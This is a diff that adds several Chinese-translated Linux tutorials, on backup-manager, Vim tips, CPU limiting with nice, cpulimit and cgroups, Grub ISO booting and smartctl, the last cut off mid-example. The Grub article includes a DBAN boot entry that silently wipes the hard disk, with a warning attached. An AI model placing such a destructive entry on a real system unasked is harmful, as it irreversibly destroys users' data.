+备份管理器的主配置文件是/etc/backup-manager.conf。该文件被划分为几个章节,里面定义了备份方法和相关的变量(或“键值”),这些配置让备份管理器成为一个多样化的工具,可以广泛地应付各种状况。 + +出于演示目的,我们将考虑以下环境: + +- 每周对/etc,/home以及/var/log目录进行一次完整备份(我们将在下面通过cron设置备份的频率)。 +- 通过SSH传输.tar.gz备份归档文件到两台不同主机dev1和dev3上指定的目标目录。 +- 通过SSH备份本地MySQL数据库到相同目标主机。 + +用你喜爱的文本编辑器打开/etc/backup-manager.conf文件,并编辑以下变量。如果你愿意,你大可不必理会那些#开头的行。在本文中,它只是用作说明的注释: + + # Specify the backup method(s) that will be used. + # tarball: takes a list of directories and builds the corresponding tarballs. + # mysql: archives MySQL databases using mysqldump. To restore the database, you # need to use the same tool manually. + export BM_ARCHIVE_METHOD="tarball mysql" + + # Where to store the backups. + export BM_REPOSITORY_ROOT="/var/archives" + + # The following directive indicates backup-manager to name + # the generated files after the directory that was backed up. + export BM_TARBALL_NAMEFORMAT="long" + + # Define the compression type for the generated files. + export BM_TARBALL_FILETYPE="tar.gz" + + # List the directories that you want to backup. + export BM_TARBALL_DIRECTORIES="/etc /home /var/log" + + # Exclude some subdirectories or file extensions. + export BM_TARBALL_BLACKLIST="/var/log/myotherapp.log *.mp3 *.mp4" + + # List the database(s) that you want to backup, separated by spaces. + export BM_MYSQL_DATABASES="mysql mybase wordpress dotclear phpbb2" + + # MySQL username. + export BM_MYSQL_ADMINLOGIN="root" + + # MySQL password for username. + export BM_MYSQL_ADMINPASS="mypassword" + + # Add support for DROP statements (optional). + export BM_MYSQL_SAFEDUMPS="true" + + # The hostname or IP address where the database(s) reside. + export BM_MYSQL_HOST="localhost" + + # Port where MySQL server is listening. + export BM_MYSQL_PORT="3306" + + # Compression type (optional). + export BM_MYSQL_FILETYPE="gzip" + + # Do not archive remote hosts, but only localhost. + BM_TARBALL_OVER_SSH="false" + + # User account for SSH upload. + export BM_UPLOAD_SSH_USER="root" + + # Absolute path of the user's private key for passwordless SSH login. + export BM_UPLOAD_SSH_KEY="/root/.ssh/id_rsa" + + # Remote hosts (make sure you have exported your public key to them): + export BM_UPLOAD_SSH_HOSTS="dev1 dev3" + + # Remote destination for uploading backups. If it doesn't exist, + # this directory will be created automatically the first time + # backup-manager runs. + export BM_UPLOAD_SSH_DESTINATION="/var/archives/backups/$HOSTNAME" + +### 运行备份管理器 ### + +要手动运行备份管理器,请输入以下命令。你也可以选择添加‘-v’标识以便一步一步详细检查运行过程。 + + # backup-manager + +BM\_TARBALL\_DIRECTORIES列出的目录将作为tarball备份到BM\_REPOSITORY\_ROOT目录,然后通过SSH传输到BM\_UPLOAD\_SSH_DESTINATION指定的主机dev1和dev3。 + +![](https://farm8.staticflickr.com/7497/15761238646_945620d8b7_z.jpg) + +正如你在上面图片中看到的那样,备份管理器在运行的时候创建了一个名为/root/.back-manager\_my.cnf的文件,MySQL密码通过BM\_MYSQL\_ADMINPASS指定。那样,mysqldump可以验证到MySQL服务器,而不必在命令行以明文格式接受密码,那样会有安全风险。 + +### 通过cron运行备份管理器 ### + +一旦决定哪一天是进行每周备份的最佳日子(最佳时间),你可以让cron来为你运行备份管理器。 + +打开root的crontab文件(注意,你必须以root登录): + + # crontab -e + +假定你想要在星期天的上午5:15分运行备份管理器,那么就添加下面这行。 + + 15 05 * * 0 /usr/sbin/backup-manager > /dev/null 2>&1 + +### 小结 ### + +在本文中,我已经展示了备份管理器这个备份工具是怎样的简单而强大,并且易于使用。在你的备份策略中,你可能还有其它几个选项需要考虑,请参阅手册页或用户手册,里面也包含了几个部署实例和建议。 + +希望此文对你有所帮助,请在下面随意提问和评论。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/linux-backup-manager.html + +作者:[Gabriel Cánepa][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel +[1]:https://github.com/sukria/Backup-Manager +[2]:http://xmodulo.com/how-to-set-up-epel-repository-on-centos.html diff --git a/published/201501/20141115 What are some obscure but useful Vim commands.md b/published/201501/20141115 What are some obscure but useful Vim commands.md new file mode 100644 index 0000000000..dae288ad25 --- /dev/null +++ b/published/201501/20141115 What are some obscure but useful Vim commands.md @@ -0,0 +1,214 @@ +一些不起眼但非常有用的 Vim 命令 +================================================================================ +如果我的[关于这个话题的最新帖子][1]没有提醒到你的话,那我明确地说,我是一个 Vim 的粉丝。所以在你们中的某些人向我扔石头之前,我先向你们展示一系列“鲜为人知的 Vim 命令”。我的意思是,一些你可能以前没有碰到过的命令,但可能对你来说很有用。作为第二免责声明,我不知道哪些命令是你可能知道的,以及哪些是对你来说有用的。因此这些命令实际上是一些相对少见,但很可能很有用的 Vim 命令。 + +### 保存文件并退出 ### + +说起来有些惭愧,我也是最近才学到这个命令 + + :x + +和下面的命令是等价的: + + :wq + +都是保存当前文件并退出。 + +(译者注:这两个命令实际上并不完全等价,当文件被修改时两个命令时相同的。但如果未被修改,使用 `:x` 不会更改文件的修改时间,而使用 `:wq` 会改变文件的修改时间。) + +### 基本计算器 ### + +在插入模式下,你可以使用 Ctrl+r 键然后输入 `=`,再输入一个简单的算式。按 Enter 键,计算结果就会插入到文件中。例如,尝试输入: + + Ctrl+r '=2+2' ENTER + +![](https://farm8.staticflickr.com/7486/15543918097_fbcf33ee6b.jpg) + +然后计算结果“4 ”会被插入到文件中。 + +### 查找重复的连续的单词 ### + +当你很快地打字时,很有可能会连续输入同一个单词两次,就像 this this。这种错误可能骗过任何一个人,即使是你自己重新阅读一遍也不可避免。幸运的是,有一个简单的正则表达式可以用来预防这个错误。使用搜索命令(默认时 `/`)然后输入: + + \(\<\w\+\>\)\_s*\1 + +这会显示所有重复的单词。要达到最好的效果,不要忘记把下面的命令: + + set hlsearch + +放到你的 .vimrc 文件中高亮所有的匹配。 + +![](https://farm8.staticflickr.com/7531/15730650082_c2764857e2.jpg) + +### 缩写 ### + +一个很可能是最令人印象深刻的窍门是你可以在 Vim 中定义缩写,它可以实时地把你输入的东西替换为另外的东西。语法格式如下: + + :ab [缩写] [要替换的文字] + +一个通用的例子是: + + :ab asap as soon as possible + +会把你输入的 “asap” 替换为 “as soon as possible”。 + +### 在你忘记用 root 方式打开文件时的文件保存 ### + +这可能是一个在论坛中一直受欢迎的命令。每当你打开一个你没有写入权限的文件(比如系统配置文件)并做了一些修改,Vim 无法通过普通的 “:w” 命令来保存。 + +你不需要重新以 root 方式打开文件再进行修改,只需要运行: + + :w !sudo tee % + +这会直接以 root 方式保存。 + +### 实时加密文本 ### + +如果你不想让别人看懂你的屏幕上的内容,你可以使用一个内置的选项,通过下面的命令使用 [ROT13][2] 来对文本进行编码: + + ggVGg? + +![](https://farm8.staticflickr.com/7487/15727174681_7773a97ea2.jpg) + +`gg` 把光标移动到 Vim 缓冲区的第一行,`V` 进入可视模式,`G` 把光标移动到缓冲区的最后一行。因此,`ggVG` 使可视模式覆盖这个当前缓冲区。最后 `g?` 使用 ROT13 对整个区域进行编码。 + +注意它可以被映射到一个最常使用的键。它对字母符号也可以很好地工作。要对它进行撤销,最好的方法就是使用撤销命令:`u`。 + +###自动补全 ### + +这是另外一个令我感到惭愧的功能,但我发现周围很多人并不知道。Vim 默认有自动补全的功能。的确这个功能是很基本的,并且可以通过插件来增强,但它也很有帮助。方法很简单。Vim 尝试通过已经输入的单词来预测单词的结尾。比如当你在同一个文件中第二次输入 “compiler” 时,仅仅输入 “com” 然后保持在插入模式,按 Ctrl+n 键就可以看到 Vim 为你补全了单词。很简单,但也很有用。 + +### 比较两个文件的不同 ### + +你们中的大多数很可能都知道 vimdiff 命令,它可以使用分离模式打开 Vim 并比较两个文件的不同。语法如下: + + $ vimdiff [文件1] [文件2] + +但同样的结果也可以通过下面的 Vim 命令来获得: + + :diffthis + +首先在 Vim 中打开原始文件。然后使用分离模式带来第二个文件: + + :vsp [文件2] + +最后在第一个缓冲区里输入: + + :diffthis + +通过 Ctrl+w 来切换缓冲区并再次输入: + + :diffthis + +这样两个文件中不同的部分就会被高亮。 + +(译者注:可以直接在一个缓冲区里使用命令 `:windo diffthis`,而不用输入 `:diffthis` 两次) + +要停止比较,使用: + + :diffoff + +### 按时间回退文件 ### + +Vim 会记录文件的更改,你很容易可以回退到之前某个时间。该命令是相当直观的。比如: + + :earlier 1m + +会把文件回退到 1 分钟以前的状态。 + +注意,你可以使用下面的命令进行相反的转换: + + :later + +### 删除标记内部的文字 ### + +当我开始使用 Vim 时,一件我总是想很方便做的事情是如何轻松的删除方括号或圆括号里的内容。转到开始的标记,然后使用下面的语法: + + di[标记] + +比如,把光标放在开始的圆括号上,使用下面的命令来删除圆括号内的文字: + + di( + +如果是方括号或者是引号,则使用: + + di{ + +和: + + di" + +### 删除指定标记前的内容 ### + +和删除标记内部有些相似,但目的不同。命令如下: + + dt[标记] + +会删除所有光标和标记之间的内容(保持标记不动),如果在同一行有这个标记的话。例如 + + dt. + +会删除至句子的末尾,但保持 ‘.’ 不动。 + +### 把 Vim 变为十六进制编辑器 ### + +这不是我最喜欢的窍门,但有时会很有趣。你可以把 Vim 和 xxd 功能连起来来把文件转换为十六进制模式。命令如下: + + :%!xxd + +![](https://farm6.staticflickr.com/5607/15109142674_e99466f2db_z.jpg) + +类似的,你可以通过下面的命令恢复原来的状态: + + :%!xxd -r + +### 把光标下的文字置于屏幕中央 ### + +我们所要做的事情如标题所示。如果你想强制滚动屏幕来把光标下的文字置于屏幕的中央,在可视模式中使用命令(译者注:在普通模式中也可以): + + zz + +### 跳到上一个/下一个位置 ### + +当你编辑一个很大的文件时,经常要做的事是在某处进行修改,然后跳到另外一处。如果你想跳回之前修改的地方,使用命令: + + Ctrl+o + +来回到之前修改的地方 + +类似的: + + Ctrl+i + +会回退上面的跳动。 + +### 把当前文件转化为网页 ### + +这会生成一个 HTML 文件来显示文本,并在分开的窗口显示源代码: + + :%TOhtml + +(译者注:原文是 `:%Tohtml`,但在我的电脑上是 `:%TOhtml`) + +![](https://farm8.staticflickr.com/7550/15727174701_c405f85a84_z.jpg) + +很基本但很不错。 + +总的来说,这一系列命令是在我读了许多论坛主题和 [Vim Tips wiki][3](如果你想学习更多关于编辑器的知识,我非常推荐这篇文章) 之后收集起来的。 + +如果你还知道哪些非常有用但你认为大多数人并不知道的命令,可以随意在评论中分享出来。就像引言中所说的,一个“鲜为人知但很有用的”命令也许只是你自己的看法,但分享出来总是好的。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/useful-vim-commands.html + +作者:[Adrien Brochard][a] +译者:[wangjiezhe](https://github.com/wangjiezhe) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/adrien +[1]:http://xmodulo.com/turn-vim-full-fledged-ide.html +[2]:https://en.wikipedia.org/wiki/ROT13 +[3]:http://vim.wikia.com/wiki/Vim_Tips_Wiki diff --git a/published/201501/20141117 Restricting process CPU usage using nice cpulimit and cgroups.md b/published/201501/20141117 Restricting process CPU usage using nice cpulimit and cgroups.md new file mode 100644 index 0000000000..5ca233ae98 --- /dev/null +++ b/published/201501/20141117 Restricting process CPU usage using nice cpulimit and cgroups.md @@ -0,0 +1,195 @@ +使用 nice、cpulimit 和 cgroups 限制 cpu 占用率 +================================================================================ + +![](https://dl.dropboxusercontent.com/u/468982/blog/cpu_usage_blog/juggle.jpg) + +Linux内核是一名了不起的马戏表演者,它在进程和系统资源间小心地玩着杂耍,并保持系统的能够正常运转。 同时,内核也很公正:它将资源公平地分配给各个进程。 + +但是,如果你需要给一个重要进程提高优先级时,该怎么做呢? 或者是,如何降低一个进程的优先级? 又或者,如何限制一组进程所使用的资源呢? + +**答案是需要由用户来为内核指定进程的优先级** + +大部分进程启动时的优先级是相同的,因此Linux内核会公平地进行调度。 如果想让一个CPU密集型的进程运行在较低优先级,那么你就得事先配置好调度器。 + +下面介绍3种控制进程运行时间的方法: + +- 使用 nice 命令手动降低任务的优先级。 +- 使用 cpulimit 命令不断的暂停进程,以控制进程所占用处理能力不超过特定限制。 +- 使用linux内建的**control groups(控制组)**功能,它提供了限制进程资源消耗的机制。 + +我们来看一下这3个工具的工作原理和各自的优缺点。 + +### 模拟高cpu占用率 ### + +在分析这3种技术前,我们要先安装一个工具来模拟高CPU占用率的场景。我们会用到CentOS作为测试系统,并使用[Mathomatic toolkit][1]中的质数生成器来模拟CPU负载。 + +很不幸,在CentOS上这个工具没有预编译好的版本,所以必须要从源码进行安装。先从 http://mathomatic.orgserve.de/mathomatic-16.0.5.tar.bz2 这个链接下载源码包并解压。然后进入 **mathomatic-16.0.5/primes** 文件夹,运行 **make** 和 **sudo make install** 进行编译和安装。这样,就把 **matho-primes** 程序安装到了 **/usr/local/bin** 目录中。 + +接下来,通过命令行运行: + + /usr/local/bin/matho-primes 0 9999999999 > /dev/null & + +程序运行后,将输出从0到9999999999之间的质数。因为我们并不需要这些输出结果,直接将输出重定向到/dev/null就好。 + +现在,使用top命令就可以看到matho-primes进程榨干了你所有的cpu资源。 + +![](https://dl.dropboxusercontent.com/u/468982/blog/cpu_usage_blog/image00.jpg) + +好了,接下来(按q键)退出 top 并杀掉 matho-primes 进程(使用 fg 命令将进程切换到前台,再按 CTRL+C) + +### nice命令 ### + +下来介绍一下nice命令的使用方法,nice命令可以修改进程的优先级,这样就可以让进程运行得不那么频繁。 **这个功能在运行cpu密集型的后台进程或批处理作业时尤为有用。** nice值的取值范围是[-20,19],-20表示最高优先级,而19表示最低优先级。 Linux进程的默认nice值为0。使用nice命令(不带任何参数时)可以将进程的nice值设置为10。这样调度器就会将此进程视为较低优先级的进程,从而减少cpu资源的分配。 + +下面来看一个例子,我们同时运行两个 **matho-primes** 进程,一个使用nice命令来启动运行,而另一个正常启动运行: + + nice matho-primes 0 9999999999 > /dev/null & + matho-primes 0 9999999999 > /dev/null & + +再运行top命令。 + + +![](https://dl.dropboxusercontent.com/u/468982/blog/cpu_usage_blog/image05.jpg) + +看到没,正常运行的进程(nice值为0)获得了更多的cpu运行时间,相反的,用nice命令运行的进程占用的cpu时间会较少(nice值为10)。 + +在实际使用中,如果你要运行一个CPU密集型的程序,那么最好用nice命令来启动它,这样就可以保证其他进程获得更高的优先级。 也就是说,即使你的服务器或者台式机在重载的情况下,也可以快速响应。 + +nice 还有一个关联命令叫做 renice,它可以在运行时调整进程的 nice 值。使用 renice 命令时,要先找出进程的 PID。下面是一个例子: + + renice +10 1234 + +其中,1234是进程的 PID。 + +测试完 **nice** 和 **renice** 命令后,记得要将 **matho-primes** 进程全部杀掉。 + +### cpulimit命令 ### + +接下来介绍 **cpulimit** 命令的用法。 **cpulimit** 命令的工作原理是为进程预设一个 cpu 占用率门限,并实时监控进程是否超出此门限,若超出则让该进程暂停运行一段时间。cpulimit 使用 SIGSTOP 和 SIGCONT 这两个信号来控制进程。它不会修改进程的 nice 值,而是通过监控进程的 cpu 占用率来做出动态调整。 + +cpulimit 的优势是可以控制进程的cpu使用率的上限值。但与 nice 相比也有缺点,那就是即使 cpu 是空闲的,进程也不能完全使用整个 cpu 资源。 + +在 CentOS 上,可以用下面的方法来安装它: + + wget -O cpulimit.zip https://github.com/opsengine/cpulimit/archive/master.zip + unzip cpulimit.zip + cd cpulimit-master + make + sudo cp src/cpulimit /usr/bin + +上面的命令行,会先从从 GitHub 上将源码下载到本地,然后再解压、编译、并安装到 /usr/bin 目录下。 + +cpulimit 的使用方式和 nice 命令类似,但是需要用户使用 **-l** 选项显式地定义进程的 cpu 使用率上限值。举例说明: + + cpulimit -l 50 matho-primes 0 9999999999 > /dev/null & + +![](https://dl.dropboxusercontent.com/u/468982/blog/cpu_usage_blog/image03.jpg) + +从上面的例子可以看出 matho-primes 只使用了50%的 cpu 资源,剩余的 cpu 时间都在 idle。 + +cpulimit 还可以在运行时对进程进行动态限制,使用 **-p** 选项来指定进程的 PID,下面是一个实例: + + cpulimit -l 50 -p 1234 + +其中,1234是进程的 PID。 + +### cgroups 命令集 ### + +最后介绍,功能最为强大的控制组(cgroups)的用法。cgroups 是 Linux 内核提供的一种机制,利用它可以指定一组进程的资源分配。 具体来说,使用 cgroups,用户能够限定一组进程的 cpu 占用率、系统内存消耗、网络带宽,以及这几种资源的组合。 + +对比nice和cpulimit,**cgroups 的优势**在于它可以控制一组进程,不像前者仅能控制单进程。同时,nice 和 cpulimit 只能限制 cpu 使用率,而 cgroups 则可以限制其他进程资源的使用。 + +对 cgroups 善加利用就可以控制好整个子系统的资源消耗。就拿 CoreOS 作为例子,这是一个专为大规模服务器部署而设计的最简化的 Linux 发行版本,它的 upgrade 进程就是使用 cgroups 来管控。这样,系统在下载和安装升级版本时也不会影响到系统的性能。 + +下面做一下演示,我们将创建两个控制组(cgroups),并对其分配不同的 cpu 资源。这两个控制组分别命名为“cpulimited”和“lesscpulimited”。 + +使用 cgcreate 命令来创建控制组,如下所示: + + sudo cgcreate -g cpu:/cpulimited + sudo cgcreate -g cpu:/lesscpulimited + +其中“-g cpu”选项用于设定 cpu 的使用上限。除 cpu 外,cgroups 还提供 cpuset、memory、blkio 等控制器。cpuset 控制器与 cpu 控制器的不同在于,cpu 控制器只能限制一个 cpu 核的使用率,而 cpuset 可以控制多个 cpu 核。 + +cpu 控制器中的 cpu.shares 属性用于控制 cpu 使用率。它的默认值是 1024,我们将 lesscpulimited 控制组的 cpu.shares 设为1024(默认值),而 cpulimited 设为512,配置后内核就会按照2:1的比例为这两个控制组分配资源。 + +要设置cpulimited 组的 cpu.shares 为 512,输入以下命令: + + sudo cgset -r cpu.shares=512 cpulimited + +使用 cgexec 命令来启动控制组的运行,为了测试这两个控制组,我们先用cpulimited 控制组来启动 matho-primes 进程,命令行如下: + + sudo cgexec -g cpu:cpulimited /usr/local/bin/matho-primes 0 9999999999 > /dev/null & + +打开 top 可以看到,matho-primes 进程占用了所有的 cpu 资源。 + +![](https://dl.dropboxusercontent.com/u/468982/blog/cpu_usage_blog/image01.jpg) + +因为只有一个进程在系统中运行,不管将其放到哪个控制组中启动,它都会尽可能多的使用cpu资源。cpu 资源限制只有在两个进程争夺cpu资源时才会生效。 + +那么,现在我们就启动第二个 matho-primes 进程,这一次我们在 lesscpulimited 控制组中来启动它: + + sudo cgexec -g cpu:lesscpulimited /usr/local/bin/matho-primes 0 9999999999 > /dev/null & + +再打开 top 就可以看到,cpu.shares 值大的控制组会得到更多的 cpu 运行时间。 + +![](https://dl.dropboxusercontent.com/u/468982/blog/cpu_usage_blog/image02.jpg) + +现在,我们再在 cpulimited 控制组中增加一个 matho-primes 进程: + + sudo cgexec -g cpu:cpulimited /usr/local/bin/matho-primes 0 9999999999 > /dev/null & + +![](https://dl.dropboxusercontent.com/u/468982/blog/cpu_usage_blog/image04.jpg) + +看到没,两个控制组的 cpu 的占用率比例仍然为2:1。其中,cpulimited 控制组中的两个 matho-primes 进程获得的cpu 时间基本相当,而另一组中的 matho-primes 进程显然获得了更多的运行时间。 + +更多的使用方法,可以在 Red Hat 上查看详细的 cgroups 使用[说明][2]。(当然CentOS 7也有) + +### 使用Scout来监控cpu占用率 ### + +监控cpu占用率最为简单的方法是什么?[Scout][3] 工具能够监控能够自动监控进程的cpu使用率和内存使用情况。 + +![](https://dl.dropboxusercontent.com/u/468982/blog/server_view/processes.png) + +[Scout][3]的触发器(trigger)功能还可以设定 cpu 和内存的使用门限,超出门限时会自动产生报警。 + +从这里可以获取 [Scout][4] 的试用版。 + +### 总结 ### + +![](https://dl.dropboxusercontent.com/u/468982/blog/cpu_usage_blog/overview.png) + +计算机的系统资源是非常宝贵的。上面介绍的这3个工具能够帮助大家有效地管理系统资源,特别是cpu资源: + +- **nice**可以一次性调整进程的优先级。 +- **cpulimit**在运行cpu密集型任务且要保持系统的响应性时会很有用。 +- **cgroups**是资源管理的瑞士军刀,同时在使用上也很灵活。 + +-------------------------------------------------------------------------------- + +via: http://blog.scoutapp.com/articles/2014/11/04/restricting-process-cpu-usage-using-nice-cpulimit-and-cgroups + +译者:[coloka](https://github.com/coloka) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.mathomatic.org/ +[2]:https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/Resource_Management_and_Linux_Containers_Guide/chap-Introduction_to_Control_Groups.html +[3]:https://scoutapp.com/ +[4]:https://scoutapp.com/ +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: +[13]: +[14]: +[15]: +[16]: +[17]: +[18]: +[19]: +[20]: \ No newline at end of file diff --git a/published/201501/20141118 How to boot on an ISO image from Grub.md b/published/201501/20141118 How to boot on an ISO image from Grub.md new file mode 100644 index 0000000000..84327f8d4f --- /dev/null +++ b/published/201501/20141118 How to boot on an ISO image from Grub.md @@ -0,0 +1,110 @@ +用Grub启动ISO镜像 +================================================================================ +如果你想要使用多个Linux发行版,你没有那么多的选择。你要么安装到你的物理机或虚拟机中,要么以live模式从ISO文件启动。第二个选择,对硬盘空间需求较小,只是有点麻烦,因为你需要将ISO文件写入到U盘或CD/DVD中来启动。不过,这里还有另外一个可选的折中方案:把ISO镜像放在硬盘中,然后以live模式来启动。该方案比完全安装更省空间,而且功能也完备,这对于缓慢的虚拟机而言是个不错的替代方案。下面我将介绍怎样使用流行的Grub启动加载器来实现该方案。 + +很明显,你将需要使用到Grub,这是几乎所有现代Linux发行版都使用的。你也需要你所想用的Linux版本的ISO文件,将它下载到本地磁盘。最后,你需要知道启动分区在哪里,并怎样在Grub中描述。对于此,请使用以下命令: + + # fdisk -l + +带有‘*’的就是启动分区。对于我,就是/dev/sda1,用Grub语言描述就是(hd0,1)。 + +![](https://farm6.staticflickr.com/5606/15174383814_a92a4eda3e_z.jpg) + +作为参考,sda2就是(hd0,2),sdb1就是(hd1,1),以此类推。(你明白了吧。) + +### 我们需要编辑什么? ### + +首先,打开/etc/default/grub并检查以下行: + + #GRUB_HIDDEN_TIMEOUT=0 + +需要在此行前添加‘#’进行注释。 + +保存,然后打开/etc/grub.d/40_custom。 + +在该文件中,你将添加启动到ISO的参数。结构如下: + + menuentry "[Entry's title in the grub screen]" { + set isofile="[path to ISO file]" + loopback loop [boot partition in Grub language]$isofile + [some specific] arguments + } + +例如,如果你想要从ISO文件启动Ubuntu,那么你就是想要添加如下行到40_custom文件: + + menuentry "Ubuntu 14.04 (LTS) Live Desktop amd64" { + set isofile="/boot/ubuntu-14.04-desktop-amd64.iso" + loopback loop (hd0,1)$isofile + linux (loop)/casper/vmlinuz.efi boot=casper iso-scan/filename=${isofile} quiet splash + initrd (loop)/casper/initrd.lz + } + +![](https://farm8.staticflickr.com/7480/15608510369_ff50b28f5e_z.jpg) + +如果你想要启动Gparted: + + menuentry "GParted Live amd64" { + set isofile="/boot/gparted-live-0.18.0-2-amd64.iso" + loopback loop (hd0,1)$isofile + loopback loop $isofile + linux (loop)/live/vmlinuz boot=live config union=aufs noswap noprompt ip=frommedia toram=filesystem.squashfs findiso=${isofile} + initrd (loop)/live/initrd.img + } + +或者甚至是Fedora: + + menuentry "Fedora 20 Live Desktop x86_64" { + set isofile="/boot/Fedora-Live-Desktop-x86_64-20-1.iso" + loopback loop (hd0,1)$isofile + loopback loop $isofile + linux (loop)/isolinux/vmlinuz0 root=live:CDLABEL=Fedora-Live-Desktop-x86_64-20-1 rootfstype=auto ro rd.live.image quiet rhgb rd.luks=0 rd.md=0 rd.dm=0 iso-scan/filename=${isofile} + initrd (loop)/isolinux/initrd0.img + } + +注意,参数可根据发行版进行修改。幸运的是,有许多地方你可以查阅到。我喜欢这个发行版,但是还有很多其它的发行版你可以启动。同时,请注意你放置ISO文件的地方。如果你的家目录被加密或者无法被访问到,你可能更喜欢将这些文件放到像例子中的启动分区。但是,请首先确保启动分区有足够的空间。 + +最后,不要忘了保存40_custom文件并使用以下命令来更新grub: + + # sudo update-grub + +以便在下次启动时看到修改。 + +![](https://farm8.staticflickr.com/7480/15795905012_47968033f7_z.jpg) + +### 接下来做什么? ### + +想要更多东西?好吧,那就修改下参数来玩玩。你可以启动一个ISO文件,并让它持续做一些事情。例如,如果你是个彻头彻尾的妄想症患者,想要有个可以快速清除硬盘的选项,那么可以使用[DBAN][1]来进行一些设置。现在,真的要当心啊,因为此设置会清除你的硬盘,而且在启动时也没有恢复选项: + + menuentry "Darik's Boot and Nuke" { + set isofile="/boot/dban.iso" + loopback loop (hd0,1)$isofile + linux (loop)/dban.bzi nuke="dwipe" silent + } + +另外一个选择 + + menuentry "Darik's Boot and Nuke" { + set isofile="/boot/dban.iso" + loopback loop (hd0,1)$isofile + linux (loop)/dban.bzi + } + +可以显示DBAN选项,让你选择清除驱动器。**当心,因为它仍然十分危险**。 + +小结一下,对于ISO文件和Grub有很多事情可做:从快速live会话到一键毁灭,都可以满足你。之后,你也可以试试启动一些针对隐私方面的发行版,如[Tails][2]。 + +你认为从Grub启动一个ISO这个主意怎样?这是不是你想要做的呢?为什么呢?请在下面留言。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/boot-iso-image-from-grub.html + +作者:[Adrien Brochard][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/adrien +[1]:http://www.dban.org/ +[2]:https://tails.boum.org/ diff --git a/published/201501/20141119 Smartctl--Monitoring & Analysis tool for Hard drive.md b/published/201501/20141119 Smartctl--Monitoring & Analysis tool for Hard drive.md new file mode 100644 index 0000000000..943d3349c6 --- /dev/null +++ b/published/201501/20141119 Smartctl--Monitoring & Analysis tool for Hard drive.md @@ -0,0 +1,230 @@ +硬盘监控和分析工具——Smartctl +================================================================================ +**Smartctl**(S.M.A.R.T 自监控,分析和报告技术)是类Unix系统下实施SMART任务命令行套件或工具,它用于打印SMART**自检**和**错误日志**,启用并禁用SMRAT**自动检测**,以及初始化设备自检。 + +Smartctl对于Linux物理服务器十分有用,在这些服务器上,可以对智能磁盘进行错误检查,并将与**硬件RAID**相关的磁盘信息摘录下来。 + +在本帖中,我们将讨论smartctl命令的一些实用样例。如果你的Linux上海没有安装smartctl,请按以下步骤来安装。 + +### 安装 Smartctl ### + +**对于 Ubuntu** + + $ sudo apt-get install smartmontools + +**对于 CentOS & RHEL** + + # yum install smartmontools + +###启动Smartctl服务### + +**对于 Ubuntu** + + $ sudo /etc/init.d/smartmontools start + +**对于 CentOS & RHEL** + + # service smartd start ; chkconfig smartd on + +### 样例 ### + +#### 样例:1 检查磁盘的 Smart 功能是否启用 + + root@linuxtechi:~# smartctl -i /dev/sdb + smartctl 6.2 2013-07-26 r3841 [x86_64-linux-3.13.0-32-generic] (local build) + Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org + + === START OF INFORMATION SECTION === + Model Family: Seagate Momentus 5400.6 + Device Model: ST9320325AS + Serial Number: 5VD2V59T + LU WWN Device Id: 5 000c50 020a37ec4 + Firmware Version: 0002BSM1 + User Capacity: 320,072,933,376 bytes [320 GB] + Sector Size: 512 bytes logical/physical + Rotation Rate: 5400 rpm + Device is: In smartctl database [for details use: -P show] + ATA Version is: ATA8-ACS T13/1699-D revision 4 + SATA Version is: SATA 2.6, 1.5 Gb/s + Local Time is: Sun Nov 16 12:32:09 2014 IST + SMART support is: Available - device has SMART capability. + SMART support is: Enabled + +这里‘/dev/sdb’是你的硬盘。上面输出中的最后两行显示了SMART功能已启用。 + +#### 样例:2 启用磁盘的 Smart 功能 + + root@linuxtechi:~# smartctl -s on /dev/sdb + smartctl 6.2 2013-07-26 r3841 [x86_64-linux-3.13.0-32-generic] (local build) + Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org + + === START OF ENABLE/DISABLE COMMANDS SECTION === + SMART Enabled. + +#### 样例:3 禁用磁盘的 Smart 功能 + + root@linuxtechi:~# smartctl -s off /dev/sdb + smartctl 6.2 2013-07-26 r3841 [x86_64-linux-3.13.0-32-generic] (local build) + Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org + + === START OF ENABLE/DISABLE COMMANDS SECTION === + SMART Disabled. Use option -s with argument 'on' to enable it. + +#### 样例:4 显示磁盘的详细 Smart 信息 + + root@linuxtechi:~# smartctl -a /dev/sdb // For IDE drive + root@linuxtechi:~# smartctl -a -d ata /dev/sdb // For SATA drive + +#### 样例:5 显示磁盘总体健康状况 + + root@linuxtechi:~# smartctl -H /dev/sdb + smartctl 6.2 2013-07-26 r3841 [x86_64-linux-3.13.0-32-generic] (local build) + Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org + + === START OF READ SMART DATA SECTION === + SMART overall-health self-assessment test result: PASSED + Warning: This result is based on an Attribute check. + Please note the following marginal Attributes: + ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE + 190 Airflow_Temperature_Cel 0x0022 067 045 045 Old_age Always In_the_past 33 (Min/Max 25/33) + +#### 样例:6 使用long和short选项测试硬盘 + +**Long测试** + + root@linuxtechi:~# smartctl --test=long /dev/sdb + smartctl 6.2 2013-07-26 r3841 [x86_64-linux-3.13.0-32-generic] (local build) + Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org + + === START OF OFFLINE IMMEDIATE AND SELF-TEST SECTION === + Sending command: "Execute SMART Extended self-test routine 